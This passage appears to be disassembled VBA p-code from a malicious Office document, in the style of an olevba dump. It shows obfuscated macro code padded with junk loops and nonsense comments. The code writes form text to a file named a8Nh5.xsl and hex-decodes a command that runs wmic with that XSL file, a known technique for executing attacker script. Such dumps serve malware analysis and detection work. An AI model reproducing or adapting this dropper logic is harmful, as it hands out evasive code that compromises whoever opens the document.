bryan retracted skirt curve mx" 849 | Line #21: 850 | Dim 851 | VarDefn akhf1 852 | Line #22: 853 | StartForVariable 854 | Ld akhf1 855 | EndForVariable 856 | LitDI2 0x003D 857 | LitDI2 0x0040 858 | For 859 | Line #23: 860 | Debug 861 | PrintObj 862 | Ld akhf1 863 | ArgsLd Error 0x0001 864 | PrintItemNL 865 | Line #24: 866 | StartForVariable 867 | Ld akhf1 868 | EndForVariable 869 | NextVar 870 | Line #25: 871 | Dim 872 | VarDefn a5bTI4a 873 | Line #26: 874 | LitDI2 0x0001 875 | FnFix 876 | St a5bTI4a 877 | Line #27: 878 | QuoteRem 0x0000 0x0009 " Pore lou" 879 | Line #28: 880 | Dim 881 | VarDefn a0PURS4wD 882 | Line #29: 883 | LitDI2 0x000F 884 | FnFix 885 | St a0PURS4wD 886 | Line #30: 887 | LitStr 0x0000 "" 888 | St aEtViTKaz 889 | Line #31: 890 | Ld aEtViTKaz 891 | ArgsLd IsNull 0x0001 892 | St aqPVoX 893 | Line #32: 894 | QuoteRem 0x0000 0x000E " Pan insidious" 895 | Line #33: 896 | LitStr 0x0000 "" 897 | St aLcXnIFs 898 | Line #34: 899 | Ld aLcXnIFs 900 | ArgsLd IsNull 0x0001 901 | St aiJeY6w 902 | Line #35: 903 | QuoteRem 0x0000 0x001C " Inexorably nothing scanners" 904 | Line #36: 905 | LitStr 0x0000 "" 906 | St aqaMj 907 | Line #37: 908 | Ld aqaMj 909 | ArgsLd IsNull 0x0001 910 | St akGjxP 911 | Line #38: 912 | QuoteRem 0x0000 0x0029 " Bewitching crowd detection cvs blackbird" 913 | Line #39: 914 | Dim 915 | VarDefn aQYR48E 916 | Line #40: 917 | StartForVariable 918 | Ld aQYR48E 919 | EndForVariable 920 | LitDI2 0x003D 921 | LitDI2 0x0040 922 | For 923 | Line #41: 924 | Debug 925 | PrintObj 926 | Ld aQYR48E 927 | ArgsLd Error 0x0001 928 | PrintItemNL 929 | Line #42: 930 | StartForVariable 931 | Ld aQYR48E 932 | EndForVariable 933 | NextVar 934 | Line #43: 935 | QuoteRem 0x0000 0x001D " Fun flagrant broadest lyrics" 936 | Line #44: 937 | Dim 938 | VarDefn aq6hRMO 939 | Line #45: 940 | LitDI2 0x0001 941 | ArgsLd Exp 0x0001 942 | St aq6hRMO 943 | Line #46: 944 | QuoteRem 0x0000 0x000D " Slouch inter" 945 | Line #47: 946 | Dim 947 | VarDefn aE7YPRHoU 948 | Line #48: 949 | LitDI2 0x0015 950 | UMi 951 | FnAbs 952 | St aE7YPRHoU 953 | Line #49: 954 | Dim 955 | VarDefn aJzQTjr 956 | Line #50: 957 | StartForVariable 958 | Ld aJzQTjr 959 | EndForVariable 960 | LitDI2 0x003D 961 | LitDI2 0x0040 962 | For 963 | Line #51: 964 | Debug 965 | PrintObj 966 | Ld aJzQTjr 967 | ArgsLd Error 0x0001 968 | PrintItemNL 969 | Line #52: 970 | StartForVariable 971 | Ld aJzQTjr 972 | EndForVariable 973 | NextVar 974 | Line #53: 975 | QuoteRem 0x0000 0x001A " Hypnotic suzerain belarus" 976 | Line #54: 977 | EndFunc 978 | Line #55: 979 | FuncDefn (Public Sub a1TIEMYR(aBmLaYhPH As String)) 980 | Line #56: 981 | LitStr 0x0000 "" 982 | St aCAn4M 983 | Line #57: 984 | Ld aCAn4M 985 | ArgsLd IsNull 0x0001 986 | St aIwRnD 987 | Line #58: 988 | Dim 989 | VarDefn aymPMBI 990 | Line #59: 991 | LitDI2 0x0079 992 | ArgsLd Hex 0x0001 993 | St aymPMBI 994 | Line #60: 995 | QuoteRem 0x0000 0x001E " North-eastern toxic generator" 996 | Line #61: 997 | Dim 998 | VarDefn ayTmvzo 999 | Line #62: 1000 | LitDI2 0x0005 1001 | UMi 1002 | FnAbs 1003 | St ayTmvzo 1004 | Line #63: 1005 | Dim 1006 | VarDefn aZX5c 1007 | Line #64: 1008 | LitDI2 0x0004 1009 | ArgsLd Exp 0x0001 1010 | St aZX5c 1011 | Line #65: 1012 | QuoteRem 0x0000 0x001C " Attribute research rutledge" 1013 | Line #66: 1014 | Dim 1015 | VarDefn aAB9zw 1016 | Line #67: 1017 | LitDI2 0x0010 1018 | FnFix 1019 | St aAB9zw 1020 | Line #68: 1021 | Dim 1022 | VarDefn aKIfHa 1023 | Line #69: 1024 | LitDI2 0x0029 1025 | FnAbs 1026 | St aKIfHa 1027 | Line #70: 1028 | Dim 1029 | VarDefn ae8Er 1030 | Line #71: 1031 | LitDI2 0x00FA 1032 | ArgsLd Hex 0x0001 1033 | St ae8Er 1034 | Line #72: 1035 | Dim 1036 | VarDefn aHWAg 1037 | Line #73: 1038 | LitDI2 0x00B2 1039 | ArgsLd Hex 0x0001 1040 | St aHWAg 1041 | Line #74: 1042 | Dim 1043 | VarDefn axmdRkLDh 1044 | Line #75: 1045 | LitDI2 0x0065 1046 | ArgsLd Hex 0x0001 1047 | St axmdRkLDh 1048 | Line #76: 1049 | QuoteRem 0x0000 0x0010 " Waterproof alex" 1050 | Line #77: 1051 | Dim 1052 | VarDefn aTcA84p6 1053 | Line #78: 1054 | StartForVariable 1055 | Ld aTcA84p6 1056 | EndForVariable 1057 | LitDI2 0x003D 1058 | LitDI2 0x0040 1059 | For 1060 | Line #79: 1061 | Debug 1062 | PrintObj 1063 | Ld aTcA84p6 1064 | ArgsLd Error 0x0001 1065 | PrintItemNL 1066 | Line #80: 1067 | StartForVariable 1068 | Ld aTcA84p6 1069 | EndForVariable 1070 | NextVar 1071 | Line #81: 1072 | Dim 1073 | VarDefn azwPN 1074 | Line #82: 1075 | LitDI2 0x0006 1076 | UMi 1077 | FnAbs 1078 | St azwPN 1079 | Line #83: 1080 | Dim 1081 | VarDefn a783MhiRz 1082 | Line #84: 1083 | LitDI2 0x000F 1084 | FnFix 1085 | St a783MhiRz 1086 | Line #85: 1087 | QuoteRem 0x0000 0x000C " Passover dw" 1088 | Line #86: 1089 | Dim 1090 | VarDefn aNYIum 1091 | Line #87: 1092 | LitDI2 0x001A 1093 | UMi 1094 | FnAbs 1095 | St aNYIum 1096 | Line #88: 1097 | QuoteRem 0x0000 0x0023 " Helicopter hyena mildew agog lymph" 1098 | Line #89: 1099 | Dim 1100 | VarDefn aK5rL 1101 | Line #90: 1102 | LitDI2 0x001A 1103 | UMi 1104 | FnAbs 1105 | St aK5rL 1106 | Line #91: 1107 | QuoteRem 0x0000 0x0025 " Vans different nation magnet dynamic" 1108 | Line #92: 1109 | Dim 1110 | VarDefn an6T3 1111 | Line #93: 1112 | StartForVariable 1113 | Ld an6T3 1114 | EndForVariable 1115 | LitDI2 0x003D 1116 | LitDI2 0x0040 1117 | For 1118 | Line #94: 1119 | Debug 1120 | PrintObj 1121 | Ld an6T3 1122 | ArgsLd Error 0x0001 1123 | PrintItemNL 1124 | Line #95: 1125 | StartForVariable 1126 | Ld an6T3 1127 | EndForVariable 1128 | NextVar 1129 | Line #96: 1130 | Dim 1131 | VarDefn auSLK8Q 1132 | Line #97: 1133 | StartForVariable 1134 | Ld auSLK8Q 1135 | EndForVariable 1136 | LitDI2 0x003D 1137 | LitDI2 0x0040 1138 | For 1139 | Line #98: 1140 | Debug 1141 | PrintObj 1142 | Ld auSLK8Q 1143 | ArgsLd Error 0x0001 1144 | PrintItemNL 1145 | Line #99: 1146 | StartForVariable 1147 | Ld auSLK8Q 1148 | EndForVariable 1149 | NextVar 1150 | Line #100: 1151 | QuoteRem 0x0000 0x000C " Nyc egotism" 1152 | Line #101: 1153 | LitStr 0x0000 "" 1154 | St a4B5zO27N 1155 | Line #102: 1156 | Ld a4B5zO27N 1157 | ArgsLd IsNull 0x0001 1158 | St a2iHw4 1159 | Line #103: 1160 | Dim 1161 | VarDefn a57uHYtv 1162 | Line #104: 1163 | LitDI2 0x00C2 1164 | ArgsLd Hex 0x0001 1165 | St a57uHYtv 1166 | Line #105: 1167 | QuoteRem 0x0000 0x0008 " Stating" 1168 | Line #106: 1169 | LitStr 0x0000 "" 1170 | St aFWqPNo 1171 | Line #107: 1172 | Ld aFWqPNo 1173 | ArgsLd IsNull 0x0001 1174 | St a0n1U 1175 | Line #108: 1176 | Dim 1177 | VarDefn aX6myF 1178 | Line #109: 1179 | LitDI2 0x000E 1180 | ArgsLd Exp 0x0001 1181 | St aX6myF 1182 | Line #110: 1183 | QuoteRem 0x0000 0x0010 " Fowler pantheon" 1184 | Line #111: 1185 | Ld aBmLaYhPH 1186 | LitDI2 0x0001 1187 | Sharp 1188 | LitDefault 1189 | Open (For Output) 1190 | Line #112: 1191 | LitDI2 0x0001 1192 | Sharp 1193 | PrintChan 1194 | Ld aGtzeA4YP 1195 | PrintItemNL 1196 | Line #113: 1197 | LitDI2 0x0001 1198 | Sharp 1199 | Close 0x0001 1200 | Line #114: 1201 | QuoteRem 0x0000 0x0000 "" 1202 | Line #115: 1203 | LitStr 0x0000 "" 1204 | St asxyt 1205 | Line #116: 1206 | Ld asxyt 1207 | ArgsLd IsNull 0x0001 1208 | St aYRDrjao 1209 | Line #117: 1210 | QuoteRem 0x0000 0x0008 " Closing" 1211 | Line #118: 1212 | Dim 1213 | VarDefn aZ8ljGHVk 1214 | Line #119: 1215 | LitDI2 0x0062 1216 | ArgsLd Hex 0x0001 1217 | St aZ8ljGHVk 1218 | Line #120: 1219 | QuoteRem 0x0000 0x000F " Searches asked" 1220 | Line #121: 1221 | EndSub 1222 | Line #122: 1223 | FuncDefn (Public Function aDyvj(ByVal HexToStr As String) As String) 1224 | Line #123: 1225 | Dim 1226 | VarDefn strTemp (As String) 0x000E 1227 | Line #124: 1228 | Dim 1229 | VarDefn strReturn (As String) 1230 | Line #125: 1231 | Dim 1232 | VarDefn I (As Long) 0x000E 1233 | Line #126: 1234 | StartForVariable 1235 | Ld I 1236 | EndForVariable 1237 | LitDI2 0x0001 1238 | Ld HexToStr 1239 | FnLen 1240 | LitDI2 0x0002 1241 | ForStep 1242 | Line #127: 1243 | LitStr 0x0002 "&H" 1244 | Ld HexToStr 1245 | Ld I 1246 | LitDI2 0x0002 1247 | ArgsLd Mid$ 0x0003 1248 | Concat 1249 | ArgsLd Val 0x0001 1250 | ArgsLd Chr$ 0x0001 1251 | St strTemp 1252 | Line #128: 1253 | Ld strReturn 1254 | Ld strTemp 1255 | Concat 1256 | St strReturn 1257 | Line #129: 1258 | StartForVariable 1259 | Ld I 1260 | EndForVariable 1261 | NextVar 1262 | Line #130: 1263 | Ld strReturn 1264 | St aDyvj 1265 | Line #131: 1266 | EndFunc 1267 | Macros/VBA/aSTi5Nh - 13634 bytes 1268 | Line #0: 1269 | FuncDefn (Sub main()) 1270 | Line #1: 1271 | Dim 1272 | VarDefn a7RXk 1273 | Line #2: 1274 | LitDI2 0x0039 1275 | ArgsLd Hex 0x0001 1276 | St a7RXk 1277 | Line #3: 1278 | QuoteRem 0x0000 0x0011 " Atrophy boasting" 1279 | Line #4: 1280 | LitStr 0x0000 "" 1281 | St aM3VlaA 1282 | Line #5: 1283 | Ld aM3VlaA 1284 | ArgsLd IsNull 0x0001 1285 | St aRjGI 1286 | Line #6: 1287 | Dim 1288 | VarDefn abAZB8Da 1289 | Line #7: 1290 | LitDI2 0x00D9 1291 | ArgsLd Hex 0x0001 1292 | St abAZB8Da 1293 | Line #8: 1294 | QuoteRem 0x0000 0x002A " Protocols hesitancy chauffeur descriptive" 1295 | Line #9: 1296 | Dim 1297 | VarDefn aUKcAo5 1298 | Line #10: 1299 | StartForVariable 1300 | Ld aUKcAo5 1301 | EndForVariable 1302 | LitDI2 0x003D 1303 | LitDI2 0x0040 1304 | For 1305 | Line #11: 1306 | Debug 1307 | PrintObj 1308 | Ld aUKcAo5 1309 | ArgsLd Error 0x0001 1310 | PrintItemNL 1311 | Line #12: 1312 | StartForVariable 1313 | Ld aUKcAo5 1314 | EndForVariable 1315 | NextVar 1316 | Line #13: 1317 | QuoteRem 0x0000 0x0019 " Presbytery juxtaposition" 1318 | Line #14: 1319 | Dim 1320 | VarDefn aCO1cl3 1321 | Line #15: 1322 | LitDI2 0x000E 1323 | FnFix 1324 | St aCO1cl3 1325 | Line #16: 1326 | QuoteRem 0x0000 0x0008 " Married" 1327 | Line #17: 1328 | Dim 1329 | VarDefn aXA8Fn 1330 | Line #18: 1331 | LitDI2 0x00BA 1332 | ArgsLd Hex 0x0001 1333 | St aXA8Fn 1334 | Line #19: 1335 | QuoteRem 0x0000 0x001D " Career injury retrieved pass" 1336 | Line #20: 1337 | LitStr 0x0000 "" 1338 | St a49yF 1339 | Line #21: 1340 | Ld a49yF 1341 | ArgsLd IsNull 0x0001 1342 | St aVHDZ3ly 1343 | Line #22: 1344 | QuoteRem 0x0000 0x000B " Decorating" 1345 | Line #23: 1346 | LitStr 0x0000 "" 1347 | St aCHaqGEA 1348 | Line #24: 1349 | Ld aCHaqGEA 1350 | ArgsLd IsNull 0x0001 1351 | St a2cjT4V 1352 | Line #25: 1353 | Dim 1354 | VarDefn aXHupn 1355 | Line #26: 1356 | LitDI2 0x0082 1357 | ArgsLd Hex 0x0001 1358 | St aXHupn 1359 | Line #27: 1360 | Dim 1361 | VarDefn a5AofpPq 1362 | Line #28: 1363 | LitDI2 0x000A 1364 | UMi 1365 | FnAbs 1366 | St a5AofpPq 1367 | Line #29: 1368 | QuoteRem 0x0000 0x0020 " Slavish cafe top lesser atlanta" 1369 | Line #30: 1370 | Dim 1371 | VarDefn aZV4xNntf 1372 | Line #31: 1373 | LitDI2 0x000D 1374 | ArgsLd Exp 0x0001 1375 | St aZV4xNntf 1376 | Line #32: 1377 | Dim 1378 | VarDefn ajdxtRHg 1379 | Line #33: 1380 | LitDI2 0x0063 1381 | ArgsLd Hex 0x0001 1382 | St ajdxtRHg 1383 | Line #34: 1384 | LitStr 0x0000 "" 1385 | St ajUza 1386 | Line #35: 1387 | Ld ajUza 1388 | ArgsLd IsNull 0x0001 1389 | St a2Wub 1390 | Line #36: 1391 | QuoteRem 0x0000 0x0018 " Disillusion incl eileen" 1392 | Line #37: 1393 | Dim 1394 | VarDefn aBvx7Yl 1395 | Line #38: 1396 | LitDI2 0x0009 1397 | ArgsLd Exp 0x0001 1398 | St aBvx7Yl 1399 | Line #39: 1400 | Dim 1401 | VarDefn ajCvZ1P (As Object) 1402 | Line #40: 1403 | Dim 1404 | VarDefn auSgxa 1405 | Line #41: 1406 | LitDI2 0x0035 1407 | FnAbs 1408 | St auSgxa 1409 | Line #42: 1410 | QuoteRem 0x0000 0x0008 " Hostage" 1411 | Line #43: 1412 | Dim 1413 | VarDefn aa8gG 1414 | Line #44: 1415 | LitDI2 0x003C 1416 | UMi 1417 | FnAbs 1418 | St aa8gG 1419 | Line #45: 1420 | QuoteRem 0x0000 0x0011 " Im- nonce bailey" 1421 | Line #46: 1422 | SetStmt 1423 | New anUX4 1424 | Set ajCvZ1P 1425 | Line #47: 1426 | Dim 1427 | VarDefn ajNXBYQbC 1428 | Line #48: 1429 | LitDI2 0x00C6 1430 | ArgsLd Hex 0x0001 1431 | St ajNXBYQbC 1432 | Line #49: 1433 | QuoteRem 0x0000 0x0027 " Enumeration impressive seeking cologne" 1434 | Line #50: 1435 | Dim 1436 | VarDefn asHIiBe 1437 | Line #51: 1438 | LitDI2 0x000F 1439 | FnFix 1440 | St asHIiBe 1441 | Line #52: 1442 | QuoteRem 0x0000 0x0034 " Fry indoor rant leader pert presentiment zus loaves" 1443 | Line #53: 1444 | Dim 1445 | VarDefn aYP80 (As String) 1446 | Line #54: 1447 | Dim 1448 | VarDefn aak49q 1449 | Line #55: 1450 | LitDI2 0x0014 1451 | FnAbs 1452 | St aak49q 1453 | Line #56: 1454 | QuoteRem 0x0000 0x0019 " Respond presence bridget" 1455 | Line #57: 1456 | Dim 1457 | VarDefn aPDpuaNnT 1458 | Line #58: 1459 | StartForVariable 1460 | Ld aPDpuaNnT 1461 | EndForVariable 1462 | LitDI2 0x003D 1463 | LitDI2 0x0040 1464 | For 1465 | Line #59: 1466 | Debug 1467 | PrintObj 1468 | Ld aPDpuaNnT 1469 | ArgsLd Error 0x0001 1470 | PrintItemNL 1471 | Line #60: 1472 | StartForVariable 1473 | Ld aPDpuaNnT 1474 | EndForVariable 1475 | NextVar 1476 | Line #61: 1477 | Dim 1478 | VarDefn aFyRb2jrI 1479 | Line #62: 1480 | LitDI2 0x003A 1481 | UMi 1482 | FnAbs 1483 | St aFyRb2jrI 1484 | Line #63: 1485 | QuoteRem 0x0000 0x000F " Lasso workshop" 1486 | Line #64: 1487 | Ld ajCvZ1P 1488 | MemLd aZHhk 1489 | MemLd Text 1490 | St aYP80 1491 | Line #65: 1492 | Dim 1493 | VarDefn a7HNko 1494 | Line #66: 1495 | StartForVariable 1496 | Ld a7HNko 1497 | EndForVariable 1498 | LitDI2 0x003D 1499 | LitDI2 0x0040 1500 | For 1501 | Line #67: 1502 | Debug 1503 | PrintObj 1504 | Ld a7HNko 1505 | ArgsLd Error 0x0001 1506 | PrintItemNL 1507 | Line #68: 1508 | StartForVariable 1509 | Ld a7HNko 1510 | EndForVariable 1511 | NextVar 1512 | Line #69: 1513 | QuoteRem 0x0000 0x0008 " Opulent" 1514 | Line #70: 1515 | Dim 1516 | VarDefn aklcJ 1517 | Line #71: 1518 | LitDI2 0x0003 1519 | FnFix 1520 | St aklcJ 1521 | Line #72: 1522 | QuoteRem 0x0000 0x0014 " Undress van explore" 1523 | Line #73: 1524 | Dim 1525 | VarDefn a0hgosvX 1526 | Line #74: 1527 | LitDI2 0x0005 1528 | ArgsLd Exp 0x0001 1529 | St a0hgosvX 1530 | Line #75: 1531 | QuoteRem 0x0000 0x001C " Oscar behind liqueur solely" 1532 | Line #76: 1533 | Dim 1534 | VarDefn aI37lHtEo 1535 | Line #77: 1536 | LitDI2 0x0018 1537 | FnAbs 1538 | St aI37lHtEo 1539 | Line #78: 1540 | QuoteRem 0x0000 0x0008 " Assumed" 1541 | Line #79: 1542 | Dim 1543 | VarDefn ayUBnLK01 (As String) 1544 | Line #80: 1545 | Dim 1546 | VarDefn aqKG59 1547 | Line #81: 1548 | LitDI2 0x00FC 1549 | ArgsLd Hex 0x0001 1550 | St aqKG59 1551 | Line #82: 1552 | QuoteRem 0x0000 0x0006 " Natal" 1553 | Line #83: 1554 | Dim 1555 | VarDefn aiychMbk 1556 | Line #84: 1557 | LitDI2 0x000E 1558 | ArgsLd Exp 0x0001 1559 | St aiychMbk 1560 | Line #85: 1561 | QuoteRem 0x0000 0x002E " Instigator appendix cotton genealogy romantic" 1562 | Line #86: 1563 | Dim 1564 | VarDefn ac5KDsuI 1565 | Line #87: 1566 | LitDI2 0x000A 1567 | ArgsLd Exp 0x0001 1568 | St ac5KDsuI 1569 | Line #88: 1570 | LitStr 0x007C "633a5c57696e646f77735c53797374656d33325c7762656d5c776d69632070726f63657373206c697374202f666f726d61743a2261384e68352e78736c22" 1571 | ArgsLd aDyvj 0x0001 1572 | St ayUBnLK01 1573 | Line #89: 1574 | Dim 1575 | VarDefn a5umIJ 1576 | Line #90: 1577 | StartForVariable 1578 | Ld a5umIJ 1579 | EndForVariable 1580 | LitDI2 0x003D 1581 | LitDI2 0x0040 1582 | For 1583 | Line #91: 1584 | Debug 1585 | PrintObj 1586 | Ld a5umIJ 1587 | ArgsLd Error 0x0001 1588 | PrintItemNL 1589 | Line #92: 1590 | StartForVariable 1591 | Ld a5umIJ 1592 | EndForVariable 1593 | NextVar 1594 | Line #93: 1595 | Dim 1596 | VarDefn aXSy5JdT 1597 | Line #94: 1598 | StartForVariable 1599 | Ld aXSy5JdT 1600 | EndForVariable 1601 | LitDI2 0x003D 1602 | LitDI2 0x0040 1603 | For 1604 | Line #95: 1605 | Debug 1606 | PrintObj 1607 | Ld aXSy5JdT 1608 | ArgsLd Error 0x0001 1609 | PrintItemNL 1610 | Line #96: 1611 | StartForVariable 1612 | Ld aXSy5JdT 1613 | EndForVariable 1614 | NextVar 1615 | Line #97: 1616 | QuoteRem 0x0000 0x002E " Detestation cigarette life hops exempt floral" 1617 | Line #98: 1618 | Dim 1619 | VarDefn aaCOAv5w 1620 | Line #99: 1621 | LitDI2 0x001B 1622 | FnAbs 1623 | St aaCOAv5w 1624 | Line #100: 1625 | QuoteRem 0x0000 0x0033 " Alchemy presentations cripple babes coding secured" 1626 | Line #101: 1627 | LitStr 0x0009 "a8Nh5.xsl" 1628 | Ld aYP80 1629 | ArgsCall (Call) a1TIEMYR 0x0002 1630 | Line #102: 1631 | Dim 1632 | VarDefn awM7aZTfU 1633 | Line #103: 1634 | LitDI2 0x0010 1635 | UMi 1636 | FnAbs 1637 | St awM7aZTfU 1638 | Line #104: 1639 | Dim 1640 | VarDefn a5GkV0 1641 | Line #105: 1642 | StartForVariable 1643 | Ld a5GkV0 1644 | EndForVariable 1645 | LitDI2 0x003D 1646 | LitDI2 0x0040 1647 | For 1648 | Line #106: 1649 | Debug 1650 | PrintObj 1651 | Ld a5GkV0 1652 | ArgsLd Error 0x0001 1653 | PrintItemNL 1654 | Line #107: 1655 | StartForVariable 1656 | Ld a5GkV0 1657 | EndForVariable 1658 | NextVar 1659 | Line #108: 1660 | QuoteRem 0x0000 0x0014 " Exact span dr patch" 1661 | Line #109: 1662 | Dim 1663 | VarDefn aVnoy 1664 | Line #110: 1665 | LitDI2 0x0008 1666 | ArgsLd Exp 0x0001 1667 | St aVnoy 1668 | Line #111: 1669 | QuoteRem 0x0000 0x0010 " English stephen" 1670 | Line #112: 1671 | Dim 1672 | VarDefn aIeD7JZ 1673 | Line #113: 1674 | LitDI2 0x0009 1675 | FnFix 1676 | St aIeD7JZ 1677 | Line #114: 1678 | QuoteRem 0x0000 0x001F " Falls mainland corolla eyebrow" 1679 | Line #115: 1680 | Dim 1681 | VarDefn ar2uYgQ 1682 | Line #116: 1683 | StartForVariable 1684 | Ld ar2uYgQ 1685 | EndForVariable 1686 | LitDI2 0x003D 1687 | LitDI2 0x0040 1688 | For 1689 | Line #117: 1690 | Debug 1691 | PrintObj 1692 | Ld ar2uYgQ 1693 | ArgsLd Error 0x0001 1694 | PrintItemNL 1695 | Line #118: 1696 | StartForVariable 1697 | Ld ar2uYgQ 1698 | EndForVariable 1699 | NextVar 1700 | Line #119: 1701 | QuoteRem 0x0000 0x001E " Shared necessitate evangelist" 1702 | Line #120: 1703 | Dim 1704 | VarDefn a5MCIArv 1705 | Line #121: 1706 | LitDI2 0x0013 1707 | ArgsLd Hex 0x0001 1708 | St a5MCIArv 1709 | Line #122: 1710 | QuoteRem 0x0000 0x0010 " Metallica again" 1711 | Line #123: 1712 | Dim 1713 | VarDefn auDIb6AR 1714 | Line #124: 1715 | LitDI2 0x000C 1716 | FnAbs 1717 | St auDIb6AR 1718 | Line #125: 1719 | QuoteRem 0x0000 0x0027 " Pharmaceutical microwave biz suspected" 1720 | Line #126: 1721 | Dim 1722 | VarDefn aYeEo6OH 1723 | Line #127: 1724 | StartForVariable 1725 | Ld aYeEo6OH 1726 | EndForVariable 1727 | LitDI2 0x003D 1728 | LitDI2 0x0040 1729 | For 1730 | Line #128: 1731 | Debug 1732 | PrintObj 1733 | Ld aYeEo6OH 1734 | ArgsLd Error 0x0001 1735 | PrintItemNL 1736 | Line #129: 1737 | StartForVariable 1738 | Ld aYeEo6OH 1739 | EndForVariable 1740 | NextVar 1741 | Line #130: 1742 | QuoteRem 0x0000 0x0027 " Yolk ulterior items canvassing storage" 1743 | Line #131: 1744 | Dim 1745 | VarDefn avAdxhyMl 1746 | Line #132: 1747 | LitDI2 0x000B 1748 | FnFix 1749 | St avAdxhyMl 1750 | Line #133: 1751 | QuoteRem 0x0000 0x002B " Parliament undervalue propitious chromatic" 1752 | Line #134: 1753 | Dim 1754 | VarDefn aG3lmX7 1755 | Line #135: 1756 | LitDI2 0x000C 1757 | ArgsLd Exp 0x0001 1758 | St aG3lmX7 1759 | Line #136: 1760 | LitStr 0x0000 "" 1761 | St aq0WXap2 1762 | Line #137: 1763 | Ld aq0WXap2 1764 | ArgsLd IsNull 0x0001 1765 | St aZHcO 1766 | Line #138: 1767 | Dim 1768 | VarDefn axfMQ 1769 | Line #139: 1770 | StartForVariable 1771 | Ld axfMQ 1772 | EndForVariable 1773 | LitDI2 0x003D 1774 | LitDI2 0x0040 1775 | For 1776 | Line #140: 1777 | Debug 1778 | PrintObj 1779 | Ld axfMQ 1780 | ArgsLd Error 0x0001 1781 | PrintItemNL 1782 | Line #141: 1783 | StartForVariable 1784 | Ld axfMQ 1785 | EndForVariable 1786 | NextVar 1787 | Line #142: 1788 | QuoteRem 0x0000 0x0016 " Catacombs visual carl" 1789 | Line #143: 1790 | Dim 1791 | VarDefn ajB1f 1792 | Line #144: 1793 | StartForVariable 1794 | Ld ajB1f 1795 | EndForVariable 1796 | LitDI2 0x003D 1797 | LitDI2 0x0040 1798 | For 1799 | Line #145: 1800 | Debug 1801 | PrintObj 1802 | Ld ajB1f 1803 | ArgsLd Error 0x0001 1804 | PrintItemNL 1805 | Line #146: 1806 | StartForVariable 1807 | Ld ajB1f 1808 | EndForVariable 1809 | NextVar 1810 | Line #147: 1811 | QuoteRem 0x0000 0x0014 " Melbourne allocated" 1812 | Line #148: 1813 | LitStr 0x0000 "" 1814 | St aNtFJ 1815 | Line #149: 1816 | Ld aNtFJ 1817 | ArgsLd IsNull 0x0001 1818 | St aYPWZ 1819 | Line #150: 1820 | Dim 1821 | VarDefn a3HIXv 1822 | Line #151: 1823 | LitDI2 0x0036 1824 | UMi 1825 | FnAbs 1826 | St a3HIXv 1827 | Line #152: 1828 | QuoteRem 0x0000 0x0025 " Stainless heading sufficiently arena" 1829 | Line #153: 1830 | Dim 1831 | VarDefn a3Pdj 1832 | Line #154: 1833 | StartForVariable 1834 | Ld a3Pdj 1835 | EndForVariable 1836 | LitDI2 0x003D 1837 | LitDI2 0x0040 1838 | For 1839 | Line #155: 1840 | Debug 1841 | PrintObj 1842 | Ld a3Pdj 1843 | ArgsLd Error 0x0001 1844 | PrintItemNL 1845 | Line #156: 1846 | StartForVariable 1847 | Ld a3Pdj 1848 | EndForVariable 1849 | NextVar 1850 | Line #157: 1851 | QuoteRem 0x0000 0x0007 " Online" 1852 | Line #158: 1853 | Dim 1854 | VarDefn aQ1HY 1855 | Line #159: 1856 | LitDI2 0x000F 1857 | FnFix 1858 | St aQ1HY 1859 | Line #160: 1860 | QuoteRem 0x0000 0x001C " Acrimonious apples adapters" 1861 | Line #161: 1862 | Dim 1863 | VarDefn a2BQk 1864 | Line #162: 1865 | LitDI2 0x0001 1866 | ArgsLd Exp 0x0001 1867 | St a2BQk 1868 | Line #163: 1869 | LitStr 0x0000 "" 1870 | St atJOgs8 1871 | Line #164: 1872 | Ld atJOgs8 1873 | ArgsLd IsNull 0x0001 1874 | St anQP0Yq 1875 | Line #165: 1876 | QuoteRem 0x0000 0x0029 " Mate belie crevice nocturnal planes rush" 1877 | Line #166: 1878 | Dim 1879 | VarDefn aFU5J8ke 1880 | Line #167: 1881 | LitDI2 0x0003 1882 | FnAbs 1883 | St aFU5J8ke 1884 | Line #168: 1885 | QuoteRem 0x0000 0x0022 " Pantry poke terminology festivity" 1886 | Line #169: 1887 | Dim 1888 | VarDefn a1Bdl 1889 | Line #170: 1890 | StartForVariable 1891 | Ld a1Bdl 1892 | EndForVariable 1893 | LitDI2 0x003D 1894 | LitDI2 0x0040 1895 | For 1896 | Line #171: 1897 | Debug 1898 | PrintObj 1899 | Ld a1Bdl 1900 | ArgsLd Error 0x0001 1901 | PrintItemNL 1902 | Line #172: 1903 | StartForVariable 1904 | Ld a1Bdl 1905 | EndForVariable 1906 | NextVar 1907 | Line #173: 1908 | QuoteRem 0x0000 0x000B " Obtainable" 1909 | Line #174: 1910 | Dim 1911 | VarDefn aNBxYklfF 1912 | Line #175: 1913 | LitDI2 0x0024 1914 | UMi 1915 | FnAbs 1916 | St aNBxYklfF 1917 | Line #176: 1918 | Dim 1919 | VarDefn aDVKdBm 1920 | Line #177: 1921 | LitDI2 0x0027 1922 | UMi 1923 | FnAbs 1924 | St aDVKdBm 1925 | Line #178: 1926 | QuoteRem 0x0000 0x0021 " Telegraphic catch sepulchral uni" 1927 | Line #179: 1928 | LitStr 0x0000 "" 1929 | St aKeqcY4l 1930 | Line #180: 1931 | Ld aKeqcY4l 1932 | ArgsLd IsNull 0x0001 1933 | St arkaw 1934 | Line #181: 1935 | Dim 1936 | VarDefn aDrW6N 1937 | Line #182: 1938 | LitDI2 0x000E 1939 | FnFix 1940 | St aDrW6N 1941 | Line #183: 1942 | QuoteRem 0x0000 0x002C " Demoniacal warehouse recipients consumption" 1943 | Line #184: 1944 | Dim 1945 | VarDefn a43g0xT 1946 | Line #185: 1947 | Dim 1948 | VarDefn axy2Gkg1 1949 | Line #186: 1950 | LitDI2 0x0009 1951 | FnFix 1952 | St axy2Gkg1 1953 | Line #187: 1954 | QuoteRem 0x0000 0x0005 " Comp" 1955 | Line #188: 1956 | Dim 1957 | VarDefn aQV2hOrpg 1958 | Line #189: 1959 | LitDI2 0x0036 1960 | ArgsLd Hex 0x0001 1961 | St aQV2hOrpg 1962 | Line #190: 1963 | QuoteRem 0x0000 0x0028 " Civic depend gathering notified surname" 1964 | Line #191: 1965 | Dim 1966 | VarDefn aJXtM9L 1967 | Line #192: 1968 | LitDI2 0x0010 1969 | UMi 1970 | FnAbs 1971 | St aJXtM9L 1972 | Line #193: 1973 | Dim 1974 | VarDefn aYbF96K 1975 | Line #194: 1976 | LitDI2 0x0008 1977 | UMi 1978 | FnAbs 1979 | St aYbF96K 1980 | Line #195: 1981 | QuoteRem 0x0000 0x0029 " Ilk provided dogmatic anthem kiss charge" 1982 | Line #196: 1983 | Dim 1984 | VarDefn alyNuKsz 1985 | Line #197: 1986 